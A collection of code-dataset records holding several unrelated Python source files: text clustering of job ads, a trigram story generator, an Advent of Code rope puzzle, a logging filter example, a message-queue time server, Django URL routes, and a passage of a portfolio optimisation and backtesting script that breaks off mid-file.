{"seq_id":"10260276774","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nfrom SqlControl import SqlControl\nimport pandas as pd\nimport jieba\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import HashingVectorizer\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans, MiniBatchKMeans\n\ndef loadDataset():\n    '''导入文本数据集'''\n    sql = SqlControl()\n    job_list_with_tunple = sql.process_item('job_require')\n    sql.kill_sql()\n    job_list = []\n    for x in job_list_with_tunple:\n        job_list.append(x[0])\n    after_tf = []\n    for x in job_list:\n        #temp = [x]\n        #temp.append(jieba.analyse.extract_tags(x, topK=3, allowPOS=(\"n\", \"v\")))\n        temp=jieba.cut(x)\n        f_temp=[]\n        bad_dict=[\"专家\",\"视频\",\"初级\",\"项目\",\"实习生\",\"国际\",\"阿里\",\"广州\",\"经理\",\"总监\",\"主管\",\"工程师\",\"高级\",\"大\",\"资深\",\"专员\",\"方向\",\"(\",\")\",\"/\",\"java\",\"hadoop\",\"spark\",\"mysql\"]\n        for x in temp:\n            if x not in bad_dict:\n                f_temp.append(x)\n                f_temp.append(\" \")\n        after_tf.append(\"\".join(f_temp))\n        #after_tf.append(\",\")\n    #dataset=\"\".join(after_tf)\n    dataset=after_tf\n    return dataset\n\n\ndef transform(dataset, n_features=1000):\n    vectorizer = TfidfVectorizer(max_df=0.5, max_features=n_features, min_df=3, use_idf=True)\n    X = vectorizer.fit_transform(dataset)\n    return X, vectorizer\n\n\ndef train(X, vectorizer, true_k=1, minibatch=False, showLable=False):\n    # 使用采样数据还是原始数据训练k-means，\n    if minibatch:\n        km = MiniBatchKMeans(n_clusters=true_k, init='k-means++', n_init=1,\n                             init_size=1000, batch_size=1000, verbose=False)\n    else:\n        km = KMeans(n_clusters=true_k, init='k-means++', max_iter=300, n_init=1,\n                    verbose=False)\n    km.fit(X)\n    job=[]\n    if showLable:\n        print(\"Top terms per cluster:\")\n        order_centroids = km.cluster_centers_.argsort()[:, ::-1]\n        terms = vectorizer.get_feature_names()\n        print(vectorizer.get_stop_words())\n        for i in range(true_k):\n            print(\"Cluster %d:\" % i, end='')\n            for ind in order_centroids[i, :3]:\n                print(' %s' % terms[ind], end='')\n                job.append(terms[ind])\n            print()\n    result = list(km.predict(X))\n    print('Cluster distribution:')\n    print(dict([(i, result.count(i)) for i in result]))\n    #return  -km.score(X)\n    return result,-km.score(X)\n\n\ndef test():\n    '''测试选择最优参数'''\n    dataset = loadDataset()\n    print(\"%d documents\" % len(dataset))\n    X, vectorizer = transform(dataset, n_features=500)\n    true_ks = []\n    scores = []\n    for i in range(3, 15, 1):\n        score = train(X, vectorizer, true_k=i) / len(dataset)\n        print(i, score)\n        true_ks.append(i)\n        scores.append(score)\n    plt.figure(figsize=(8, 4))\n    plt.plot(true_ks, scores, label=\"error\", color=\"red\", linewidth=1)\n    plt.xlabel(\"n_features\")\n    plt.ylabel(\"error\")\n    plt.legend()\n    plt.show()\n\n\ndef out():\n    '''在最优参数下输出聚类结果'''\n    dataset = loadDataset()\n    X, vectorizer = transform(dataset, n_features=500)\n    # result,score = train(X, vectorizer, true_k=8, showLable=True) / len(dataset)\n    # print(score)\n    result=train(X,vectorizer,true_k=16,showLable=True,minibatch=False)\n    print(result)\n\n\n#test()\nout()","repo_name":"Whojohn/job_analysis","sub_path":"ml/tf_idf.py","file_name":"tf_idf.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"107934330","text":"# chelsea_nayan, UWPCE Python 210, Lesson04: Kata Fourteen: Tom Swift Under Milk Wood\n# This was difficult!\n\nimport random # Used to pick a random word from the dictionary value list\nimport re # Used to use findall()\n\nstory_limit = 10000 # Sets the character limit so the new_story can't go on forever...\ntext_file = 'sherlock_big.txt' # Chooses the text file to be read\nfirst_two_words = [\"One\", \"night\"] # Chooses the first two words for the trigram\n\nwith open(text_file, 'r') as infile, open('new_story.txt', 'w') as outfile:\n\n    text = infile.read() # Stores the txt file as a string\n    lst = re.findall(r\"[\\w']+|[.,!?;]\", text) # Creates a list of words, findall() separates the punctuation into their own 'words'\n\n    for word in lst: # splits the words that are connected with '--'\n        if \"--\" in word:\n            sub = word.split(\"--\")\n            if sub[0] not in lst: # Add spliited words to lst if not there\n                lst.append(sub[0])\n            if sub[1] not in lst:\n                lst.append(sub[1])\n            lst.remove(word) # Removes the original word connected by '--'\n\n    # The key is a string of two words, the value is a list of words that appear after those two words appear\n    d = {}\n    for elem in range(len(lst)-2):\n        k = f\"{lst[elem]} {lst[elem+1]}\"\n        if k in d.keys(): # Adds the next word to the value list\n            d.get(k).append(lst[elem+2])\n        else:\n            d[k] = [lst[elem+2]] # Adds the new key and value (type list) to the dictionary\n\n    two_words_list = first_two_words # Chooses the first two words for the trigram\n    two_words_string = f\"{two_words_list[0]} {two_words_list[1]}\" # Makes the first two words into a string\n    story = two_words_string\n    while two_words_string in d.keys() and len(story)<story_limit: # Loops as long as the two word string is a key in the d and doesn't exceed the char story_limit\n        next_word = random.choice(d.get(two_words_string)) # Get the next word from the value\n        if next_word in \"|[.,!?;]\": # The case of the next 'word' is punctuation\n            story += f\"{next_word}\"\n        else: # The case where the next word is not punctuation\n            story += f\" {next_word}\"\n        two_words_list = [two_words_list[1], next_word]\n        two_words_string = f\"{two_words_list[0]} {two_words_list[1]}\"\n\n    # Makes sure the story ends with proper punctuation! Not the greatest way to simulate language...\n    if two_words_list[1] not in \"!?.\":\n        story += random.choice([\".\", \"!\", \"?\"])\n\n    outfile.write(story)\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/chelsea_nayan/lesson04/kata.py","file_name":"kata.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"37897035413","text":"with open('in.txt', 'r') as file:\n\tdata = file.readlines()\n\nknots = []\n\nfor i in range(10):\n\tknots.append([4, 0])\n\t\ndef is_touching(a, b):\n\tif knots[b][0] == knots[a][0]:\n\t\tif knots[b][1] + 1 == knots[a][1]:\n\t\t\treturn True\n\t\tif knots[b][1] - 1 == knots[a][1]:\n\t\t\treturn True\n\tif knots[b][1] == knots[a][1]:\n\t\tif knots[b][0] + 1 == knots[a][0]:\n\t\t\treturn True\n\t\telif knots[b][0] - 1 == knots[a][0]:\n\t\t\treturn True\n\t\n\ttest_diagonals = [(+1, +1), (+1, -1), (-1, +1), (-1, -1)]\n\n\tfor i, j in test_diagonals:\n\t\tif knots[b][0] + i == knots[a][0] and knots[b][1] + j == knots[a][1]:\n\t\t\treturn True\n\t\n\tif knots[b] == knots[a]:\n\t\treturn True\n\treturn False\n\ndef make_diagonal(a, b):\n\ttest_diagonals = [(+1, +1), (+1, -1), (-1, +1), (-1, -1)]\n\n\tfor i, j  in test_diagonals:\n\t\tknots[b][0] += i\n\t\tknots[b][1] += j\n\n\t\tif is_touching(a, b):\n\t\t\treturn\n\t\t\n\t\tknots[b][0] -= i\n\t\tknots[b][1] -= j\n\n\ndef make_move(a, b):\n\tif knots[b][0] == knots[a][0]:\n\t\tif knots[b][1] + 2 == knots[a][1]:\n\t\t\tknots[b][1] += 1\n\t\t\treturn\n\t\telif knots[b][1] - 2 == knots[a][1]:\n\t\t\tknots[b][1] -= 1\n\t\t\treturn\n\tif knots[b][1] == knots[a][1]:\n\t\tif knots[b][0] + 2 == knots[a][0]:\n\t\t\tknots[b][0] += 1\n\t\t\treturn\n\t\telif knots[b][0] - 2 == knots[a][0]:\n\t\t\tknots[b][0] -= 1\n\t\t\treturn\n\tmake_diagonal(a, b)\n\npositions = set()\n\nfor line in data:\n\tline = line.strip('\\n').split(' ')\n\tdirection, amount = line\n\tamount = int(amount)\n\n\tfor i in range(amount):\n\t\tif direction == 'L':\n\t\t\tknots[0][1] -= 1\n\t\telif direction == 'R':\n\t\t\tknots[0][1] += 1\n\t\telif direction == 'U':\n\t\t\tknots[0][0] -= 1\n\t\telif direction == 'D':\n\t\t\tknots[0][0] += 1\n\t\t\n\t\tfor j in range(1, 10):\n\t\t\tif not is_touching(j-1, j):\n\t\t\t\tmake_move(j-1, j)\n\n\t\tpositions.add(tuple(knots[-1]))\n\nprint(len(positions))","repo_name":"shayaanabsar/adventofcode","sub_path":"2022/09/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"39617535289","text":"import logging\nfrom prelogging import LCDict\n\n_level_count = 0\n\n\ndef filter_fn(record, **kwargs):\n    \"\"\" Returns int or bool -- not great practice, but just to distinguish\n    which branch of if-then-else was taken.\n    \"\"\"\n    filtername = kwargs.get('filtername', '')\n    loglevel_to_count = kwargs.get('loglevel_to_count', 0)\n\n    \"\"\"Suppress odd-numbered messages (records)\n    whose level == loglevel_to_count,\n    where the \"first\" message is 0-th hence even-numbered.\n    \"\"\"\n    global _level_count\n    if record.levelno == loglevel_to_count:\n        _level_count += 1\n        ret = _level_count % 2      # int\n    else:\n        ret = True                  # bool\n\n    print(\"{}: record levelname = {}, _level_count = {}; returning {}\".\n          format(filtername, record.levelname,\n                 _level_count, ret))\n    return ret\n\n\ndef config_logging():\n    lcd = LCDict(attach_handlers_to_root=True,\n                 root_level='DEBUG')\n    lcd.add_stdout_handler('console-out',\n                           level='DEBUG',\n                           formatter='level_msg')\n    lcd.add_callable_filter('count_info', filter_fn,\n                            # extra, static data\n                            filtername='count_info',\n                            loglevel_to_count=logging.INFO)\n    lcd.attach_root_filters('count_info')\n\n    lcd.config()\n\n\nif __name__ == '__main__':\n    config_logging()\n\n    root = logging.getLogger()\n\n    for i in range(2):\n        print(\"\\ni ==\", i)\n        root.debug(str(i))\n        root.info(str(i))\n","repo_name":"Twangist/prelogging","sub_path":"examples/filter-callable-extra-static-data.py","file_name":"filter-callable-extra-static-data.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"27137820891","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"This is a awesome\n    python script...!\"\"\"\n\nimport os\nimport sys\nimport time\nimport sysv_ipc\nimport threading\n\nkey = 999\n\ndef worker(mq, m):\n  print(\"Starting thread:\", threading.current_thread().name)\n  datetime = time.asctime()\n  message = str(datetime).encode() # encode current time\n  pid = int(m.decode()) # decode the PID of the thread client (send by the client)\n  t = pid + 3 # unique type of message queue, is for the client, like this he can filter his own msg\n  time.sleep(5) # just sleep to look behavior with several client\n  mq.send(message, type=t) # put in mailbox the current datetime and type of the msg who is PID+3\n  print(\"Ending thread:\", threading.current_thread().name)\n  \n\nif __name__ == \"__main__\":\n  print(\"Starting thread:\", threading.current_thread().name)\n \n  try:\n    mq = sysv_ipc.MessageQueue(key, sysv_ipc.IPC_CREX) # create a mailbox/tube\n  except ExistentialError:\n    print(\"Message queue\", key, \"already exist, terminating.\")\n    sys.exit(1)\n\n  print(\"Starting time server.\")\n\n  threads = []\n\n  while True:\n      m, t = mq.receive() \n      if t == 1: \n        p = threading.Thread(target=worker, args=(mq, m)) # create a thread worker to execute the datetime cmd. We have one thread for each client, which isn't secure. Because we can overflow the server \n        p.start()\n        threads.append(p) # create a list of the current worker thread like this we can wait all worker\n      if t == 2: \n        print(\"Shutdown Server.\")\n        for thread in threads:\n          thread.join() # we wait all current worker to finish\n        mq.remove() # delete the mailbox/tube\n        break\n  print(\"Terminating time server.\")\n  print(\"Ending thread:\", threading.current_thread().name)\n","repo_name":"metaknightblackmamba/PPC","sub_path":"TD4/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6428385143","text":"from django.urls import path\nfrom main import views\n\napp_name = 'main'\nurlpatterns = [\n    path('', views.home, name='home'),\n    path('music/', views.music_home, name='music_home'),\n    path('adminlinks/', views.admin_links, name=\"admin_links\"),\n    path('dbjson/', views.dbjson, name=\"dbjson\"),\n]","repo_name":"claytoncook12/ClaytonCookWebsite","sub_path":"DjangoApp/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3657588418","text":"\"\"\"\r\nThe following script has 4 main sections.\r\nWe first calculate the optimal investment weights of a trading strategy\r\nby optimization. Then, we calculate the in and out of sample returns\r\nfor the strategy and the chosen benchmark.\r\nUltimately, we calculate performance and risk ratios and plot portfolio\r\ncharacteristics of the investment strategy in comparison to the benchmark.\r\n \"\"\"\r\n\r\n# load libraries\r\nimport yfinance as yf\r\nimport pandas as pd\r\nimport numpy as np\r\nimport math as m\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.ticker as mtick\r\nimport matplotlib.dates as mdates\r\nfrom scipy.optimize import minimize\r\nfrom scipy.optimize import Bounds\r\nfrom sklearn.linear_model import LinearRegression\r\nimport dataframe_image as dfi\r\n\r\n#############################################################################\r\n#                                                                           #\r\n#                                #SECTION 1                                 #\r\n#       Define key parameters, import needed files and define investment    #\r\n#       universe of stocks which the strategy invests in                    #\r\n#                                                                           #\r\n#############################################################################\r\n\r\n# define parameters of investment period start (start_backtesting as maximum time period!)\r\n# actual time could be shorter depending on availability of data!\r\nstart_backtesting = np.datetime64(\"2011-01-01\")\r\nend_backtesting = np.datetime64(\"2021-12-31\")\r\nend_out_sample = np.datetime64(\"2022-05-21\")\r\n\r\n# Import needed CSV files\r\nstocks_index = pd.read_csv(\"files/index_constituents_data.csv\", index_col=0)\r\nbenchmark = pd.read_csv(\"files/benchmark.csv\", index_col=0)\r\nGross_Price = pd.read_csv(\"files/Gross_Prices_EUR.csv\", index_col=0)\r\nNet_Price = pd.read_csv(\"files/Net_Prices_EUR.csv\", index_col=0)\r\n\r\n# format index to date\r\nGross_Price.index = pd.to_datetime(Gross_Price.index)\r\nNet_Price.index = pd.to_datetime(Net_Price.index)\r\nbenchmark.index = pd.to_datetime(benchmark.index)\r\n\r\n\"\"\"\r\nSelect stocks which the strategy invests in\r\nour strategy goes long in the top 10 highest dividend stocks and short in the\r\ntop 10 lowest dividend stocks --> We select these stocks as our investmnet stocks\r\nAlso: drop BHP stock for which dividends have not been calculated correctly!\r\n\"\"\"\r\n\r\nstocks_index = stocks_index.sort_values(by=\"Yield\", ascending=False)\r\nstocks_index = stocks_index.drop(\"BHP.L\")\r\nstocks_invest = stocks_index.iloc[np.r_[0:10, 39:49]]\r\n\r\n# select prices of stocks which we invest in\r\nGross_Price_selected = Gross_Price[stocks_invest.index]\r\nNet_Price_selected = Net_Price[stocks_invest.index]\r\n\r\n#############################################################################\r\n#                                                                           #\r\n#                                #SECTION 2                                 #\r\n#     Calculate Optimal Strategy stock weights with various constraints     #\r\n#                       and visualize optimization                          #\r\n#                                                                           #\r\n#############################################################################\r\n\r\n# estimate expected returns and var-cov matrix for optimization (with in sample data!)\r\n\r\nrf_daily = 0\r\nER = Gross_Price_selected[Gross_Price_selected.index < end_backtesting].pct_change().mean()\r\nS = Gross_Price_selected[Gross_Price_selected.index < end_backtesting].pct_change().cov()\r\n\r\n# define functions for optimization (variance, return,  negative sharp ratio)\r\ndef pvar(w, S):\r\n    return (w.T @ S @ w)\r\n\r\n\r\ndef pret(w, ER):\r\n    return (w.T @ ER)\r\n\r\n\r\ndef sharpe(w, ER, S):\r\n    return -(w.T @ (ER - rf_daily)) / ((w.T @ S @ w) ** 0.5)\r\n\r\n\r\n# ---------------------------------------------------------------------------\r\n# Calculate Optimized Portfolio\r\n# ---------------------------------------------------------------------------\r\nN = len(ER)\r\nx0 = np.ones(N) / N\r\n\r\n\"\"\"\r\n#set up constraints\r\nfirst constraint -> total investment = 100% long\r\nsecond constraint- > Values smaller than - min_weight (shocks which are shorted)\r\nthird constraint -> Values larger than min_weight (stock which are longed)\r\nbounds = maximum long and short % for stocks\r\n\"\"\"\r\n\r\nmin_weight = 0.02\r\n\r\ncons_multiple = ({\"type\": \"eq\", \"fun\": lambda x: np.sum(x) - 1},\r\n                 {\"type\": \"ineq\", \"fun\": lambda x: -min_weight - x[10:20]},\r\n                 {\"type\": \"ineq\", \"fun\": lambda x: x[0:10] - min_weight})\r\n\r\nbounds = Bounds(-0.2, 0.2)\r\n\r\n# only constraint for unconstrained portfolio --> Total stock weights == 100%\r\ncons_simple = ({\"type\": \"eq\", \"fun\": lambda x: np.sum(x) - 1})\r\n\r\n# calculate optimized values (GMVP and MSRP constrained and unconstrained)\r\nGMVP_const = minimize(pvar, x0, method='SLSQP', args=S, constraints=cons_multiple,\r\n                      options={'disp': True, 'ftol': 1e-9}, bounds=bounds)\r\n\r\nGMVP_unconst = minimize(pvar, x0, method=\"SLSQP\", args=S, constraints=cons_simple,\r\n                        options={'disp': True, 'ftol': 1e-9})\r\n\r\nMSRP_const = minimize(sharpe, x0, method='SLSQP', args=(ER, S), constraints=cons_multiple,\r\n                      options={'disp': True, 'ftol': 1e-9}, bounds=bounds)\r\n\r\nMSRP_unconst = minimize(sharpe, x0, method='SLSQP', args=(ER, S), constraints=cons_simple,\r\n                        options={'disp': True, 'ftol': 1e-9})\r\n\r\n# complete data set of selected stocks with calculated constrained MSRP values & export for presentation\r\nstocks_invest = stocks_invest.assign(weights=MSRP_const.x)\r\nstocks_invest = stocks_invest.assign(weights_unconst=MSRP_unconst.x)\r\n\r\nstocks_invest_export = stocks_invest.copy()\r\nstocks_invest_export[\"Yield\"] = stocks_invest_export[\"Yield\"].map('{:,.2%}'.format)\r\nstocks_invest_export[\"weights\"] = stocks_invest_export[\"weights\"].map('{:,.2%}'.format)\r\nstocks_invest_export[\"index_weights\"] = stocks_invest_export[\"index_weights\"].map('{:,.2%}'.format)\r\nstocks_invest_export[\"weights_unconst\"] = stocks_invest_export[\"weights_unconst\"].map('{:,.2%}'.format)\r\n\r\ndfi.export(stocks_invest_export, \"plots/selected_portfolio_characteristics.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Visualize efficient Frontier\r\n# ---------------------------------------------------------------------------\r\n\r\n\"\"\"\r\nGenerate Minimum Variance Frontier / Investment Frontier plot by doing the following: \r\n1. Minimize the negative value of the expected portfolio return \r\ngiven a deterministic variance and the same rules as above (eg. min 2% in each stock)\r\nas restrictions in the optimization. --> We thus retrieve the maximum return given \r\nall restrictions for a given variance. \r\n\r\n2. We construct \"random portfolios\" which fulfill all the restrictions by minimizing a function\r\nwhich consists of a random array and a modulus operation which should randomize the optimization \r\nresults. We can then calculate the expected return and variance of these portfolios and add them \r\nto the plot.\r\n\"\"\"\r\n\r\n# calculate yearly volatility and expected return of GMVP and MSRP constrained for plotting further below\r\n# assumption: year = 250 trading days\r\n\r\nGMVP_const_ER = pret(w=GMVP_const.x, ER=ER) * 250\r\nGMVP_const_VAR = m.sqrt(pvar(w=GMVP_const.x, S=S) * 250)\r\nMSRP_const_ER = pret(w=MSRP_const.x, ER=ER) * 250\r\nMSRP_const_VAR = m.sqrt(pvar(w=MSRP_const.x, S=S) * 250)\r\n\r\n\r\n# define negative portfolio return function\r\ndef pret_sim(w, ER):\r\n    return -(w.T @ ER)\r\n\r\n\r\n# variances to loop over\r\nvar_list = np.arange(0.1, 0.6, 0.01)\r\nbounds = Bounds(-0.2, 0.2)\r\n\r\n# initialize lists to store results in\r\nMVF_var_const = []\r\nMVF_ret_const = []\r\n\r\n# loop over variances and maximize expected return given that portfolio variance = given variance\r\nfor i in var_list:\r\n    max_var = i\r\n    cons = ({\"type\": \"eq\", \"fun\": lambda x: np.sum(x) - 1},\r\n            {\"type\": \"eq\", \"fun\": lambda x: m.sqrt((x.T @ S @ x) * 250) - max_var},\r\n            {\"type\": \"ineq\", \"fun\": lambda x: -min_weight - x[10:20]},\r\n            {\"type\": \"ineq\", \"fun\": lambda x: x[0:10] - min_weight})\r\n\r\n    maximized = minimize(pret_sim, x0, method='SLSQP', args=ER,\r\n                         options={'disp': True, 'ftol': 1e-9},\r\n                         constraints=cons, bounds=bounds)\r\n\r\n    # only store result if optimization was successful!\r\n    if maximized.success:\r\n        MVF_var_const.append(i)\r\n        MVF_ret_const.append(maximized.fun * -250)\r\n    else:\r\n        continue\r\n\r\n# ---------------------------------------------------------------------------\r\n# Visualize efficient Frontier\r\n# ---------------------------------------------------------------------------\r\n\r\nrandom_portfolio = []\r\n\r\n\r\n# \"random\" function which when optimized gives \"random\" portfolios\r\ndef rand_funct(x, y):\r\n    return ((x % y) / y).sum()\r\n\r\n\r\n# weight constraints of individual stocks\r\ncons = ({\"type\": \"eq\", \"fun\": lambda x: np.sum(x) - 1},\r\n        {\"type\": \"ineq\", \"fun\": lambda x: -min_weight - x[10:20]},\r\n        {\"type\": \"ineq\", \"fun\": lambda x: x[0:10] - min_weight})\r\n\r\n# simulate 100 different portfolios which fulfill the constraints\r\ni = 0\r\nnp.random.seed(0)\r\n\r\nwhile i < 100:\r\n    y = np.random.uniform(low=0, high=1, size=N)\r\n    portfolio_sim = minimize(rand_funct, x0, method='SLSQP', args=y,\r\n                             constraints=cons, options={'disp': True, 'ftol': 1e-9},\r\n                             bounds=bounds)\r\n    i = i + 1\r\n\r\n    # only store successful optimizations\r\n    if portfolio_sim.success:\r\n        random_portfolio.append(portfolio_sim.x)\r\n    else:\r\n        continue\r\n\r\nMVF_randvar_const = []\r\nMVF_randret_const = []\r\n\r\n# calculate return and variance (yearly) from calculated \"random\" portfolios\r\nfor i in range(len(random_portfolio)):\r\n    exp_return = pret(w=random_portfolio[i], ER=ER)\r\n    exp_var = pvar(w=random_portfolio[i], S=S)\r\n    exp_return_year = exp_return * 250\r\n    exp_var_year = m.sqrt(exp_var * 250)\r\n\r\n    MVF_randvar_const.append(exp_var_year)\r\n    MVF_randret_const.append(exp_return_year)\r\n\r\n# plot results\r\nMVF_var_const.insert(0, GMVP_const_VAR)\r\nMVF_ret_const.insert(0, GMVP_const_ER)\r\nCAL_x = np.linspace(0, MSRP_const_VAR + 0.2, 50, endpoint=True)\r\nSR_MSRP = MSRP_const_ER / MSRP_const_VAR\r\nCAL_y = 0 + SR_MSRP * CAL_x\r\n\r\nfrontier_points = pd.DataFrame({\"variance\": MVF_var_const, \"return\": MVF_ret_const})\r\nmax_ret_index = frontier_points[\"return\"].idxmax()\r\n\r\nfig, ax = plt.subplots(figsize=(15, 10))\r\nplt.plot(frontier_points.variance.iloc[0:max_ret_index + 1], frontier_points[\"return\"].iloc[0:max_ret_index + 1])\r\nplt.plot(frontier_points.variance.iloc[max_ret_index: len(frontier_points)],\r\n         frontier_points[\"return\"].iloc[max_ret_index: len(frontier_points)], color=\"grey\", ls=\"--\")\r\nplt.scatter(MVF_randvar_const, MVF_randret_const)\r\nplt.scatter(GMVP_const_VAR, GMVP_const_ER, s=70)\r\nplt.scatter(MSRP_const_VAR, MSRP_const_ER, s=70)\r\nplt.plot(CAL_x, CAL_y)\r\nplt.xlim([0, 0.4])\r\nplt.ylim([0, 0.4])\r\nplt.title(\"Investment Frontier Simulated\", size=25)\r\nplt.xlabel(\"Volatility\", size=15)\r\nplt.ylabel(\"Return\", size=15)\r\nplt.legend([\"Minimum Variance Frontier\",\r\n            \"Investment Frontier\",\r\n            \"Capital Allocation Line\",\r\n            \"random portfolios\",\r\n            \"GMVP\",\r\n            \"MSRP\"],\r\n           prop={'size': 15})\r\nax.xaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nplt.xticks(size=15)\r\nplt.yticks(size=15)\r\nplt.savefig(\"plots/investmentfrontier.png\")\r\n\r\n\r\n#############################################################################\r\n#                                                                           #\r\n#                                #SECTION 2                                 #\r\n#                           Calculate  returns of                           #\r\n#                 strategy and benchmark in and out of sample               #\r\n#                                                                           #\r\n#############################################################################\r\n\r\n# function which calculates the indexed performance (start = 1) of various stocks and start investment weights\r\ndef indexed_performance(start, prices, weights, end=None):\r\n    # filter desired time range\r\n    if end is None:\r\n        temp = prices[prices.index >= start]\r\n    else:\r\n        temp = prices[(prices.index >= start) & (prices.index < end)]\r\n\r\n    # define daily percentage changes + 1\r\n    temp = temp.pct_change() + 1\r\n\r\n    # replace first row with weights of each stock --> Initial Investment = 1\r\n    temp.iloc[0] = weights\r\n\r\n    # take cumulative return of each stock * initial investment (weight) and sum up horizontaly\r\n    temp = temp.cumprod().sum(axis=1)\r\n    return temp\r\n\r\n\r\n# calculate weights of short stocks / long stocks  that they sum up to 1\r\nweights_short = stocks_invest.weights[stocks_invest.weights < 0] / stocks_invest.weights[stocks_invest.weights < 0].sum()\r\nweights_long = stocks_invest.weights[stocks_invest.weights > 0] / stocks_invest.weights[stocks_invest.weights > 0].sum()\r\n\r\n# calculate the needed indexed performance series\r\nin_sample_net = indexed_performance(start=start_backtesting, end=end_backtesting,\r\n                                    weights=MSRP_const.x, prices=Net_Price_selected)\r\n\r\nin_sample_gross = indexed_performance(start=start_backtesting, end=end_backtesting,\r\n                                      weights=MSRP_const.x, prices=Gross_Price_selected)\r\n\r\nout_sample_gross_short = indexed_performance(start=end_backtesting, weights=weights_short,\r\n                                             prices=Gross_Price_selected[\r\n                                                 stocks_invest[stocks_invest.weights < 0].index])\r\n\r\nout_sample_gross_long = indexed_performance(start=end_backtesting, weights=weights_long,\r\n                                            prices=Gross_Price_selected[stocks_invest[stocks_invest.weights > 0].index])\r\n\r\nout_sample_gross = indexed_performance(start=end_backtesting, weights=MSRP_const.x,\r\n                                       prices=Gross_Price_selected)\r\n\r\n# combine all returns to data frame (one for in and one for out of sample performance)\r\nin_sample = pd.DataFrame({\"strategy_net\": in_sample_net,\r\n                          \"strategy_gross\": in_sample_gross},\r\n                         index=in_sample_net.index)\r\n\r\nout_sample = pd.DataFrame({\"strategy_gross\": out_sample_gross,\r\n                           \"long_gross\": out_sample_gross_long,\r\n                           \"short_gross\": out_sample_gross_short},\r\n                          index=out_sample_gross.index)\r\n\r\n# join benchmark data & calculate indexed performance of benchmark\r\nin_sample = in_sample.join(benchmark)\r\nout_sample = out_sample.join(benchmark)\r\n\r\nin_sample[[\"benchmark_gross\", \"benchmark_net\"]] = in_sample[[\"benchmark_gross\", \"benchmark_net\"]].div(\r\n    in_sample[[\"benchmark_gross\", \"benchmark_net\"]].head(1).iloc[0])\r\nout_sample[[\"benchmark_gross\", \"benchmark_net\"]] = out_sample[[\"benchmark_gross\", \"benchmark_net\"]].div(\r\n    out_sample[[\"benchmark_gross\", \"benchmark_net\"]].head(1).iloc[0])\r\n\r\n# save in and out of sample returns\r\nin_sample.to_csv(\"files/in_sample.csv\")\r\nout_sample.to_csv(\"files/out_sample.csv\")\r\n\r\n\r\n#############################################################################\r\n#                                                                           #\r\n#                            #SECTION 3                                     #\r\n#        #Calculate in and out of sample risk & performance ratios          #\r\n#                                                                           #\r\n#############################################################################\r\n\r\n# ---------------------------------------------------------------------------\r\n# Annualized Sharp Ratio\r\n# ---------------------------------------------------------------------------\r\n\r\n# days = days per year (assumed 250 here)\r\n# rf_rate = annualized risk free rate\r\n# prices for which ratio should be alculated\r\n\r\ndef sharp_ratio(price, days, rf_rate):\r\n    ER = price.pct_change().mean()\r\n    SD = price.pct_change().std()\r\n    SR = (ER - rf_rate / days) / SD * m.sqrt(days)\r\n\r\n    return round(SR, 2)\r\n\r\n\r\n# ---------------------------------------------------------------------------\r\n# Yearly volatility\r\n# ---------------------------------------------------------------------------\r\n\r\ndef yearly_vol(price, days, pct=True):\r\n    vol = m.sqrt(price.pct_change().var() * days)\r\n\r\n    if pct:\r\n        return format(vol, \".2%\")\r\n    else:\r\n        return vol\r\n\r\n\r\n# ---------------------------------------------------------------------------\r\n# alpha and beta\r\n# ---------------------------------------------------------------------------\r\n\r\n# period = period of returns for which regression should be run (eg. \"1Y\", \"1M\", \"1d\")\r\n# kwargs = optional where only alpha, beta, x or y can be returned form function (keyword = param)\r\n# rf_rate = risk free rate for the \"period\"\r\n\r\ndef alpha_beta(strategy, benchmark, period, rf_period, pct=True, **kwargs):\r\n    daily_ret_strategy = strategy.pct_change().fillna(0) + 1\r\n    daily_ret_BM = benchmark.pct_change().fillna(0) + 1\r\n\r\n    # calculate excess returns for the period over the risk-free rate\r\n    period_ret_strategy = daily_ret_strategy.groupby(pd.Grouper(freq=period)).prod() - 1 - rf_period\r\n    period_ret_BM = daily_ret_BM.groupby(pd.Grouper(freq=period)).prod() - 1 - rf_period\r\n\r\n    model = LinearRegression().fit(period_ret_BM.to_numpy().reshape((-1, 1)),\r\n                                   period_ret_strategy.to_numpy().reshape((-1, 1)))\r\n\r\n    beta = model.coef_[0][0]\r\n\r\n    if pct:\r\n        alpha = format(model.intercept_[0], \".2%\")\r\n    else:\r\n        alpha = model.intercept_[0]\r\n\r\n    results = {\"alpha\": alpha,\r\n               \"beta\": beta,\r\n               \"x\": period_ret_BM.to_list(),\r\n               \"y\": period_ret_strategy.to_list()}\r\n\r\n    if len(kwargs) == 0:\r\n        return results\r\n    else:\r\n        return results.get(kwargs.get(\"param\"))\r\n\r\n\r\n# ---------------------------------------------------------------------------\r\n# Maximum Drawdown\r\n# ---------------------------------------------------------------------------\r\n\r\ndef maxdd(price, pct=True):\r\n    # Value at time T divided by max value from time t = 0 to t = T (T> 0)\r\n    diffmax = price / price.cummax()\r\n    maxdd = (diffmax - 1).min()\r\n\r\n    if pct:\r\n        return format(maxdd, \".2%\")\r\n    else:\r\n        return maxdd\r\n\r\n# ---------------------------------------------------------------------------\r\n# N Day unfiltered historical 1% 